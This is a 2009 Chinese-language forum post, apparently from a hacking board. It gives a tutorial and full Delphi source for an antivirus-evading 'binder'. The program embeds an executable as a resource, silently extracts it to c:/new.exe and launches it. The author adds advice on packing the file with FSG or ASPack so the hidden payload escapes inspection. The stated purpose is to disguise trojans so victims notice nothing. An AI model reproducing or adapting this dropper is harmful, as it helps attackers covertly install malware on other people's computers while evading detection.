|
发表于 2009-4-17 09:50:55
|
显示全部楼层
|阅读模式
来自 广东省深圳市罗湖区
本帖最后由 与雪共舞 于 2009-4-17 09:53 编辑
delphi编程实现免杀捆绑
用过了各种各样的捆绑机,无一例外都被俺的卡巴杀出来了,(包括黑狼基地发布 的一些捆绑软件都一样难逃卡巴和风云防火墙),其实即使一个好的捆绑器短时间不被杀,时间一长照样又被揪出来了,现在免费而且免杀的捆绑机就是rar了,他经过换图标确实能达到很好的效果,但是右键一看,里面多了一个“用rar打开”就露馅了。俺在学delphi资源的时候想到用释放资源的方法不是可以实现捆绑吗?经过试验,效果很好,不会检测到任何附加数据和2个文件头之类的现象,唯一能看到的就是exescope里会看到资源里多了一个exefile,不过经过fsg一加密就看不到里面的内容了,而且即使高手一般也不会麻烦到每次运行exe的时候都要检测附加数据,可执行头部数目,还要exescope一番,岂不累死?一般开着杀毒看看没事就不会怀疑什么了。
闲话少说,开始delphi之旅。
首先要建立我们的资源文件,在记事本中写入mask exefile mask.exe这样形式的n行,第一个mask是delphi调用这个exefile资源文件的名字,第二个表示资源类型exefile就是exe文件了,最后是文件名,把所有需要捆绑的文件都以这样的形式写入,保存为rc后缀的文件exe.rc,接着cmd下输入Brcc32 exe.rc 就会把exe.rc编译成资源文件exe.res。
前期工作做完了,接着在delphi中新建一个console application,这样是方便我们建立一个个头更小的exe,如果是一个application的话什么都不做都会有359k之巨!而且这里我们也不需要任何窗体。接着就可以把代码替换成如下:
program Project2;
uses
windows, shellapi, classes; //必须用到的单元
{$R exe.res} //连接我们的资源文件
function ExtractRes(ResType, ResName, ResNewName: string): boolean; //建立一个函数释放res
var
Res: TResourceStream; //Tresource调用了classes单元
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
end;
var
handle:Thandle; //调用了classes单元
begin
ExtractRes('exefile','mask','c:/new.exe'); //调用ExtractRes函数释放到c:/new.exe
ShellExecute(handle, 'open', PChar('c:/new.exe'), nil, nil, SW_SHOW); //调用shellexecute这个api执行它,调用了shellapi和windows单元
end.
注释已经写得很详细了,这是释放一个文件的演示,释放多个文件多几个ExtractRes 和ShellExecute 就ok了。
这样编译出来的文件是134k,其中包含了我的exe文件有48k,aspack简单压缩一下就只剩下58k了。个头没变多少,嘿嘿!
这样自己作出来的捆绑文件别人就很难发现什么异样了,只要木马不被杀就行~
.-'''''-.
.' `.
: :
: :
: _/| :
: =/_/ :
`._/ | .'
( / ,|...-'
\_/^\/||__
_/~ `""~`"` \_
__/ -'/ `-._ `\_\__
/ /-'` `\ \ \-.\ |
|